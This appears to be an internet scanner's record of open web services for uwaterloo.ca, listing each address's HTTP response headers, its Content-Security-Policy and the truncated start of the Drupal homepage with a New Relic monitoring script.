https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 2a04:4e42:200::645:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-sin-wsat1880065-SIN X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 151.101.2.132:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-rtm-ehrd2290029-RTM X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 151.101.130.132:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-lga21953-LGA X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 2a04:4e42::645:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-h-5d67dcbb68-pxh9r
X-Styx-Req-Id: 953cd88d-f9cb-11f0-850d-12c9db7cbf7e
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4530-YYZ, cache-yyz4527-YYZ
X-Cache: HIT, MISS
X-Cache-Hits: 2, 0
X-Timer: S1769331324.670411,VS0,VE5
Vary: Accept-Encoding, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
(()=>{var e,t,r={384:(e,t,r)=>{"use strict";r.d(t,{NT:()=>a,US:()=>u,Zm:()=>o,bQ:()=>d,dV:()=>c,pV:()=>l});var n=r(6154),i=r(1863),s=r(1910);const a={beacon:"bam.nr-data.net",errorBeacon:"bam.nr-data.net"};function o(){return n.gm.NREUM||(n.gm.NREUM={}),void 0===n.gm.newrelic&&(n.gm.newrelic=n.gm.NREUM),n.gm.NREUM}function c(){let e=o();return e.o||(e.o={ST:n.gm.setTimeout,SI:n.gm.setImmediate||n.gm.setInterval,CT:n.gm.clearTimeout,XHR:n.gm.XMLHttpRequest,REQ:n.gm.Request,EV:n.gm.Event,PR:n.gm.Promise,MO:n.gm.MutationObserver,FETCH:n.gm.fetch,WS:n.gm.WebSocket},(0,s.i)(...Object.values(e.o))),e}function d(e,t){let r=o();r.initializedAgents??={},t.initializedAt={ms:(0,i.t)(),date:new Date},r.initializedAgents[e]=t}function u(e,t){o()[e]=t}function l(){return function(){let e=o();const t=e.info||{};e.info={beacon:a.beacon,errorBeacon:a.errorBeacon,...t}}(),function(){let e=o();const t=e.init||{};e.init={...t}}(),c(),function(){let e=o();const t=e.loader_config||{};e.loader_config={...t}}(),o()}},782:(e,t,r)=>{"use strict";r.d(t,{T:()=>n});const n=r(860).K7.pageViewTiming},860:(e,t,r)=>{"use strict";r.d(t,{$J:()=>u,K7:()=>c,P3:()=>d,XX:()=>i,Yy:()=>o,df:()=>s,qY:()=>n,v4:()=>a});const n="events",i="jserrors",s="browser/blobs",a="rum",o="browser/logs",c={ajax:"ajax",genericEvents:"generic_events",jserrors:i,logging:"logging",metrics:"metrics",pageAction:"page_action",pageViewEvent:"page_view_event",pageViewTiming:"page_view_timing",sessionReplay:"session_replay",sessionTrace:"session_trace",softNav:"soft_navigations",spa:"spa"},d={[c.pageViewEvent]:1,[c.pageViewTiming]:2,[c.metrics]:3,[c.jserrors]:4,[c.spa]:5,[c.ajax]:6,[c.sessionTrace]:7,[c.softNav]:8,[c.sessionReplay]:9,[c.logging]:10,[c.genericEvents]:11},u={[c.pageViewEvent]:a,[c.pageViewTiming]:n,[c.ajax]:n,[c.spa]:n,[c.softNav]:n,[c.metrics]:i,[c.jserrors]:i,[c.sessionTrace]:s,[c.sessionReplay]:s,[c.logging]:o,[c.genericEvents]:"ins"}},944:(e,t,r)=>{"use strict";r.d(t,{R:()=>i});var n=r(3241);function i(e,t){"function"==typeof console.debug&&(console.debug("New Relic Warning: https://github.com/newrelic/newrelic-browser-agent/blob/main/docs/warning-codes.md#".concat(e),t),(0,n.W)({agentIdentifier:null,drained:null,type:"data",name:"warn",feature:"warn",data:{code:e,secondary:t}}))}},993:(e,t,r)=>{"use strict";r.d(t,{A$:()=>s,ET:()=>a,TZ:()=>o,p_:()=>i});var n=r(860);const i={ERROR:"ERROR",WARN:"WARN",INFO:"INFO",DEBUG:"DEBUG",TRACE:"TRACE"},s={OFF:0,ERROR:1,WARN:2,INFO:3,DEBUG:4,TRACE:5},a="log",o=n.K7.logging},1541:(e,t,r)=>{"use strict";r.d(t,{U:()=>i,f:()=>n});const n={MFE:"MFE",BA:"BA"};function i(e,t){if(2!==t?.harvestEndpointVersion)return{};const r=t.agentRef.runtime.appMetadata.agents[0].entityGuid;return e?{"source.id":e.id,"source.name":e.name,"source.type":e.type,"parent.id":e.parent?.id||r,"parent.type":e.parent?.type||n.BA}:{"entity.guid":r,appId:t.agentRef.info.applicationID}}},1687:(e,t,r)=>{"use strict";r.d(t,{Ak:()=>d,Ze:()=>h,x3:()=>u});var n=r(3241),i=r(7836),s=r(3606),a=r(860),o=r(2646);const c={};function d(e,t){const r={staged:!1,priority:a.P3[t]||0};l(e),c[e].get(t)||c[e].set(t,r)}function u(e,t){e&&c[
Open service 151.101.66.132:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-lga21957-LGA X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 151.101.194.132:80 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 301 Moved Permanently Connection: close Content-Length: 0 Server: Varnish Retry-After: 0 Location: https://uwaterloo.ca/ Accept-Ranges: bytes Date: Sun, 25 Jan 2026 08:55:23 GMT Via: 1.1 varnish Strict-Transport-Security: max-age=300 X-Served-By: cache-lga21935-LGA X-Cache: HIT X-Cache-Hits: 0 Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
Open service 2a04:4e42:200::645:443 · uwaterloo.ca
2026-01-25 08:55
HTTP/1.1 200 OK
Connection: close
Content-Length: 119184
Cache-Control: max-age=180, public
Content-Language: en
Content-Type: text/html; charset=UTF-8
Etag: W/"1769285020"
Expires: Sun, 19 Nov 1978 05:00:00 GMT
Last-Modified: Sat, 24 Jan 2026 20:03:40 GMT
Server: nginx
Strict-Transport-Security: max-age=31622400
X-Content-Type-Options: nosniff
X-Drupal-Cache: HIT
X-Drupal-Dynamic-Cache: MISS
X-Frame-Options: SAMEORIGIN
X-Generator: Drupal 9 (https://www.drupal.org)
X-Pantheon-Styx-Hostname: styx-fe1fe2-h-5d67dcbb68-pxh9r
X-Styx-Req-Id: 1a7cd84e-f962-11f0-850d-12c9db7cbf7e
X-Ua-Compatible: IE=edge
Age: 1
Accept-Ranges: bytes
Via: 1.1 varnish, 1.1 varnish, 1.1 varnish
Date: Sun, 25 Jan 2026 08:55:23 GMT
X-Served-By: cache-yyz4548-YYZ, cache-lon4263-LON, cache-lon4270-LON
X-Cache: HIT, HIT, MISS
X-Cache-Hits: 2, 1, 0
X-Timer: S1769331324.709155,VS0,VE6
Vary: Accept-Encoding, Cookie, Cookie, Cookie
Content-Security-Policy: default-src 'self' 'unsafe-inline' 'unsafe-eval' data: https://uwaterloo.ca https://*.uwaterloo.ca https://maxcdn.bootstrapcdn.com https://*.google.com https://*.google-analytics.com https://*.googleapis.com https://*.gstatic.com https://*.googletagmanager.com https://*.googleusercontent.com https://*.googleadservices.com https://*.g.doubleclick.net https://6263835.fls.doubleclick.net https://ad.doubleclick.net https://14868352.fls.doubleclick.net https://cdnjs.cloudflare.com https://twitter.com https://*.twitter.com https://*.twimg.com https://*.facebook.com https://*.facebook.net https://scontent.xx.fbcdn.net https://*.youtube.com https://*.youtube-nocookie.com https://s.ytimg.com https://*.livestream.com https://*.webspellchecker.net https://cdn.mathjax.org https://*.addtoany.com https://*.vimeo.com https://*.vimeocdn.com https://cdn.leafletjs.com https://cdn-geoweb.s3.amazonaws.com https://cdn.maptiks.com https://api.tiles.mapbox.com https://d591zijq8zntj.cloudfront.net https://*.libanswers.com https://*.libchat.com https://secure.skype.com https://cdn-akamai.mookie1.com https://*.tiqcdn.com https://snap.licdn.com https://*.ads.linkedin.com https://secure.adnxs.com https://public.tableau.com https://codepen.io https://cpwebassets.codepen.io https://static.codepen.io https://public.codepenassets.com https://app.powerbi.com https://s.yimg.com https://sp.analytics.yahoo.com https://chat.socialintents.com https://hcaptcha.com https://newassets.hcaptcha.com https://code.jquery.com https://experience.arcgis.com https://api.mapbox.com https://www.instagram.com https://vuejs.org https://cdn.jsdelivr.net https://js-agent.newrelic.com https://bam.nr-data.net https://us-central1-pantheon-psapps.cloudfunctions.net https://cdn.ckeditor.com https://netdna.bootstrapcdn.com https://*.hotjar.com https://*.hotjar.io https://*.kuali.co https://drupal-oauth.mailchimp.com https://srv.stackadapt.com https://*.srv.stackadapt.com https://qvdt3feo.com https://origin.acuityplatform.com https://e.acuityplatform.com https://*.clarity.ms https://c.bing.com https://www.redditstatic.com https://events.reddit.com https://wat-2.test.technolutions.net https://wat.test.technolutions.net; img-src * data:
x-var-slug: /
<!DOCTYPE html>
<html lang="en" dir="ltr" prefix="content: http://purl.org/rss/1.0/modules/content/ dc: http://purl.org/dc/terms/ foaf: http://xmlns.com/foaf/0.1/ og: http://ogp.me/ns# rdfs: http://www.w3.org/2000/01/rdf-schema# schema: http://schema.org/ sioc: http://rdfs.org/sioc/ns# sioct: http://rdfs.org/sioc/types# skos: http://www.w3.org/2004/02/skos/core# xsd: http://www.w3.org/2001/XMLSchema# " class="no-js">
<head>
<meta charset="utf-8" /><script type="text/javascript">(window.NREUM||(NREUM={})).init={privacy:{cookies_enabled:true},ajax:{deny_list:["bam.nr-data.net"]},feature_flags:["soft_nav"],distributed_tracing:{enabled:true}};(window.NREUM||(NREUM={})).loader_config={agentID:"1103280112",accountID:"4165269",trustKey:"66686",xpid:"UAcBVFRVARABVFhaBQMHUlYJ",licenseKey:"NRJS-00798bf011f7ec1aa7f",applicationID:"1098220428",browserID:"1103280112"};;/*! For license information please see nr-loader-spa-1.308.0.min.js.LICENSE.txt */
